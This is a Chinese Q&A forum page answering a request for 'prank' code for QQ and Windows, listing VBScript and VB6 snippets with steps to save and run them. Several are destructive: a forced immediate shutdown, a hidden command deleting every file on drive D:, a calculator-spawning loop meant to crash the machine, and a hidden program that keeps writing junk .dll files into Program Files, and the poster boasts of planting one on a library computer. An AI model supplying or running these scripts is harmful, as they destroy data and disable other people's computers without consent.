我要QQ聊天的恶搞代码

我要QQ聊天的恶搞代码本群因涉嫌违法将在1小时后解散这个代码我要，有其他的也要

首先你在要建一个文本文档（在桌面点右键
--
新建
--
文本文档）把下面的你想要的代码复制
到文本文档

好

保存

把名字
txt
改成
vbs
å°±
OK

vbs
整人代码大集合

一、
你打开好友的聊天对话框
,
然后记下在你
QQ
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
QQ
信息到好友的次数
(
代码里的数字
10
改一下即可
).

xx.vbs=>

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("
与

xx
聊天中
")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

QQ
骚扰信息
,
也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------
do

msgbox "You are foolish!"

loop
----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop
-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

四、直接关机

-----------------------------------------------------------------------------
dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

五、删除
D:\
所有文件

---------------------------------------------------------------------------
dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "
哈哈

你被耍了！
"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

七、不断按下
alt+f4
（开什么都关闭„„）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop
---------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

八、按
500
次回车

(
以上代码在运行者的电脑上显示
500
个对话框。其中

do until s=500
，
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "
哥们，给我按
500
次回车吧
",64
loop

'------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

九、关不掉的窗口

------------------------------------------------------------------------------------
WScript.Echo("
嘿，谢谢你打开我哦，我等你很久

拉！
"&TSName)
WScript.Echo("
你是可爱的小朋吗
?")
WScript.Echo("
哈
,
我想你拉，这你都不知道吗？
")

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

[color=#FF0000]
复制以这个代码，在桌面建一个文本，把代码放进去，另存为
VBS
格式，

此代码的威力：

1
：开机就强制自动关机

2
：
cmd
命令打不开

3
：结束任务不管用

4
：
F8
安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第
2
次保存的那个
VBE
文件，
，

PS
：不要乱拿软件去整人，发生什么事可不要怪我啊。
。

拍拍手

顶起吧！

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'
声明变量，其中“
count
”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'
定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'
生成文件的内容

nr = "
哈哈，被黑的感觉的不错吧
"

files = FreeFile

'
如果
a
等于
a
那么就执行

If a = a Then

'count
不断的加
1
，以便产生不同的文件名

count = count + 1

'
产生文件名及文件句柄，并用
count
作为产生不同的文件名。

Open c & "system" & count & ".dll" For Append As #files

'
向文件写内容

Write #files, nr

'
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files

End If

End Sub

温馨提示：内容为网友见解，仅供参考

当前网址：https://11.t2y.org/zz/pv48fvmv7sf7ps74p2.html